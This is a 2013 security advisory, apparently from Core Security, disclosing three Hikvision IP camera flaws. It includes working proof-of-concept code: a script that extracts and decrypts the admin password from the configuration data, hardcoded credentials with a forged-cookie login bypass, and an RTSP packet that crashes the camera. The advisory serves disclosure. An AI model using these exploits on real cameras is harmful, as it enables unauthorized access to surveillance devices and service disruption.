9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.54 Medium
EPSS
Percentile
97.6%
**Title:**Hikvision IP Cameras Multiple Vulnerabilities
**Advisory ID:**CORE-2013-0708
**Advisory URL:**www.coresecurity.com/core-labs/advisories/hikvision-ip-cameras-multiple-vulnerabilities
**Date published:**2013-08-06
**Date of last update:**2013-08-06
**Vendors contacted:**Hikvision
**Release mode:**User release
**Class:**Input validation error [CWE-20], Use of Hard-coded Credentials [CWE-798], Buffer overflow [CWE-119]
**Impact:**Code execution, Security bypass
**Remotely Exploitable:**Yes
**Locally Exploitable:**No
CVE Name:CVE-2013-4975, CVE-2013-4976, CVE-2013-4977
Multiple vulnerabilities have been found in Hikvision IP camera DS-2CD7153-E [1] (and potentially other cameras sharing the affected firmware [2]) that could allow a remote attacker:
There was no official answer from Hikvision after several attempts (see [Sec. 8]); contact vendor for further information. Some mitigation actions may be:
/PSIA/System/ConfigurationData
.Range
parameter in RTSP requests.[CVE-2013-4975] The following script allows obtaining the administrator password by requesting the camera’s configuration data and breaking its trivial encryption. A valid user account is needed to launch the attack.
import urllib2
import base64
import argparse
import sys
def decrypt(config):
# Important: We're assuming the last 4 bytes of the file's plaintext are
# zero, hence there we have the key. There are other easy ways to
# calculate this tho.
print '[*] Decrypting config'
key = config[-4:]
plaintext = ''
for i in range(len(config)/4):
for j in range(4):
plaintext += chr(ord(config[i*4+j]) ^ ord(key[j]))
return plaintext
def attack(target, username, password, output):
base_url = 'http://' + target + '/PSIA/System/ConfigurationData'
headers = { 'Authorization': 'Basic ' + base64.b64encode('%s:%s' %(username,password)) }
print '[*] Attacking %s ' % target
req = urllib2.Request(base_url, None, headers)
try:
response = urllib2.urlopen(req)
config = response.read()
except Exception, e:
print e
return
plaintext = decrypt(config)
print '[*] Writing output file %s' % output
f = open(output, 'w')
f.write(plaintext)
f.close()
user = plaintext[0x45A0:0x45A0+32]
pwd = plaintext[0x45C0:0x45C0+16]
print 'Probably the admin user is %s and the password is %s' % (user, pwd)
print "If it doesn't make any sense, just do a strings of the output file"
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('target', action = 'store', help = 'target host to attack')
parser.add_argument('username', action = 'store', help = 'username to be used to authenticate against target')
parser.add_argument('password', action = 'store', help = "username's password")
parser.add_argument('output', action = 'store', help = "filename to write the plaintext config")
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
attack(options.target, options.username, options.password, options.output)
[CVE-2013-4976] The camera has a built-in anonymous account intended for guest users, but even when the feature is disabled it could be bypassed due to the usage of hardcoded credentials:
user: anonymous password: \177\177\177\177\177\177
The bypass cannot be used directly through the login form but rather by forging a cookie:
userInfoXX
(replace XX with the port where the webserver is running i.e. userInfo80
), path /
and value YW5vbnltb3VzOlwxNzdcMTc3XDE3N1wxNzdcMTc3XDE3Nw==
; this is the tuple user:pass
encoded in base64 explained above.http:/<ipcam>/doc/pages/main.asp
, a page that should not be accessed without authentication if the anonymous user is disabled.There are several references to those hardcoded credentials in the cgis, but in particular the following snippet was found in /doc/pages/scripts/login.js
::
107: function DoLogin(){ (...) 166: $.cookie('userInfo'+m_lHttpPort,m_szUserPwdValue==""?Base64.encode("anonymous:\177\177\177\177\177\177" ):m_szUserPwdValue); (...)
This bypass is not completely useful per se since all the interesting requests are actually handled by the PSIA (Physical Security Interoperability Alliance’s) API. Nevertheless, if it is ever combined with a privilege escalation it would allow remote attacker to control the camera without proper credentials.
[CVE-2013-4977] The following Python script sends a specially crafted packet that triggers a buffer overrun condition when handling the Range
parameter of a RTSP transaction. As a result, the process handling the communication crashes and the Watchdog service issues a full restart. No authentication is required to exploit this vulnerability and it would possible lead to a remote code execution.
import socket HOST = '192.168.1.100' PORT = 554 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) trigger_pkt = "PLAY rtsp://%s/ RTSP/1.0\r\n" % HOST trigger_pkt += "CSeq: 7\r\n" trigger_pkt += "Range: npt=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9aLSaLSaLS\r\n" trigger_pkt += "User-Agent: VLC media player (LIVE555 Streaming Media v2010.02.10)\r\n\r\n" s.sendall(trigger_pkt) print "Packet sent" data = s.recv(1024) print 'Received', repr(data), "\r\n" s.close()
[1] Hikvision DS-2CD7153-E Network Mini Dome Camera, <http://www.hikvision.com/en/products_show.asp?id=506>.
[2] Hikvision IP cameras using firmware v4.1.0 b130111:
DS-2CD833F-E DS-2CD893PF-E DS-2CD893PFWD-E DS-2CD893NF-E DS-2CD893NFWD-E DS-2CD863PF-E DS-2CD863NF-E DS-2CD864F-E DS-2CD864FWD-E DS-2CD853F-E DS-2CD855F-E DS-2CD854F-E DS-2CD854FWD-E DS-2CD883F-E DS-2CD733F-E DS-2CD733F-EZ DS-2CD793PF-E DS-2CD793PF-EZ DS-2CD793PFWD-E DS-2CD793PFWD-EZ DS-2CD793NF-E DS-2CD793NF-EZ DS-2CD793NFWD-E DS-2CD793NFWD-EZ DS-2CD763PF-E DS-2CD763PF-EZ DS-2CD763NF-E DS-2CD763NF-EZ DS-2CD764F-E DS-2CD764F-EZ DS-2CD764FWD-E DS-2CD764FWD-EZ DS-2CD753F-E DS-2CD753F-EZ DS-2CD755F-E DS-2CD755F-EZ DS-2CD754F-E DS-2CD754F-EZ DS-2CD754FWD-E DS-2CD783F-E DS-2CD783F-EZ DS-2CD733F-EI DS-2CD733F-EIZ DS-2CD793PF-EI DS-2CD793PF-EIZ DS-2CD793PFWD-EI DS-2CD793PFWD-EIZ DS-2CD793NF-EI DS-2CD793NF-EIZ DS-2CD793NFWD-EI DS-2CD793NFWD-EIZ DS-2CD763PF-EI DS-2CD763PF-EIZ DS-2CD763NF-EI DS-2CD763NF-EIZ DS-2CD764F-EI DS-2CD764F-EIZ DS-2CD764FWD-EI DS-2CD764FWD-EIZ DS-2CD753F-EI DS-2CD753F-EIZ DS-2CD755F-EI DS-2CD755F-EIZ DS-2CD754F-EI DS-2CD754F-EIZ DS-2CD754FWD-EI DS-2CD783F-EI DS-2CD783F-EIZ DS-2CD7233F-EZ DS-2CD7233F-EZH DS-2CD7233F-EZS DS-2CD7233F-EZHS DS-2CD7293PF-EZ DS-2CD7293PF-EZH DS-2CD7293PFWD-EZ DS-2CD7293PFWD-EZH DS-2CD7293NF-EZ DS-2CD7293NF-EZH DS-2CD7293NFWD-EZ DS-2CD7293NFWD-EZH DS-2CD7263PF-EZ DS-2CD7263PF-EZH DS-2CD7263PF-EZS DS-2CD7263PF-EZHS DS-2CD7263NF-EZ DS-2CD7263NF-EZH DS-2CD7263NF-EZS DS-2CD7263NF-EZHS DS-2CD7264FWD-EZ DS-2CD7264FWD-EZH DS-2CD7253F-EZ DS-2CD7253F-EZH DS-2CD7253F-EZS DS-2CD7253F-EZHS DS-2CD7255F-EZ DS-2CD7255F-EZH DS-2CD7254F-EZ DS-2CD7254F-EZH DS-2CD7254F-EZS DS-2CD7254F-EZHS DS-2CD7233F-EIZ DS-2CD7233F-EIZH DS-2CD7233F-EIZS DS-2CD7233F-EIZHS DS-2CD7293PF-EIZ DS-2CD7293PF-EIZH DS-2CD7293PFWD-EIZ DS-2CD7293PFWD-EIZH DS-2CD7293NF-EIZ DS-2CD7293NF-EZH DS-2CD7293NFWD-EIZ DS-2CD7293NFWD-EZH DS-2CD7263PF-EIZ DS-2CD7263PF-EIZH DS-2CD7263PF-EIZH DS-2CD7263PF-EIZHS DS-2CD7263NF-EIZ DS-2CD7263NF-EIZH DS-2CD7263NF-EIZH DS-2CD7263NF-EIZHS DS-2CD7264FWD-EIZ DS-2CD7264FWD-EIZH DS-2CD7253F-EIZ DS-2CD7253F-EIZH DS-2CD7253F-EIZS DS-2CD7253F-EIZHS DS-2CD7255F-EIZ DS-2CD7255F-EIZH DS-2CD7254F-EIZ DS-2CD7254F-EIZH DS-2CD7254F-EIZH DS-2CD7254F-EIZHS DS-2CD7133-E DS-2CD8133F-E DS-2CD8133F-EI DS-2CD7164-E DS-2CD7153-E DS-2CD8153F-E DS-2CD8153F-EI DS-2CD8233F-E DS-2CD8233F-ES DS-2CD8264F-E DS-2CD8264FWD-E DS-2CD8264FWD-ES DS-2CD8253F-E DS-2CD8253F-ES DS-2CD8255F-E DS-2CD8254F-E DS-2CD8254F-ES DS-2CD8283F-E DS-2CD8283F-ES DS-2CD8233F-EI DS-2CD8233F-EIS DS-2CD8264F-EI DS-2CD8264FWD-EI DS-2CD8264FWD-EIS DS-2CD8253F-EI DS-2CD8253F-EIS DS-2CD8255F-EI DS-2CD8254F-EI DS-2CD8254F-EIS DS-2CD8283F-EI DS-2CD8283F-EIS DS-2CD8433F-EI DS-2CD8464F-EI.
[3] Hikvision contact page, <http://www.hikvision.com/En/US/contactHikvision.asp>.
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: www.coresecurity.com/core-labs.
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security’s software solutions build on over a decade of trusted research and leading-edge threat expertise from the company’s Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: <https://www.coresecurity.com>.
The contents of this advisory are copyright © 2013 Core Security Technologies and © 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: <http://creativecommons.org/licenses/by-nc-sa/3.0/us/>
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.54 Medium
EPSS
Percentile
97.6%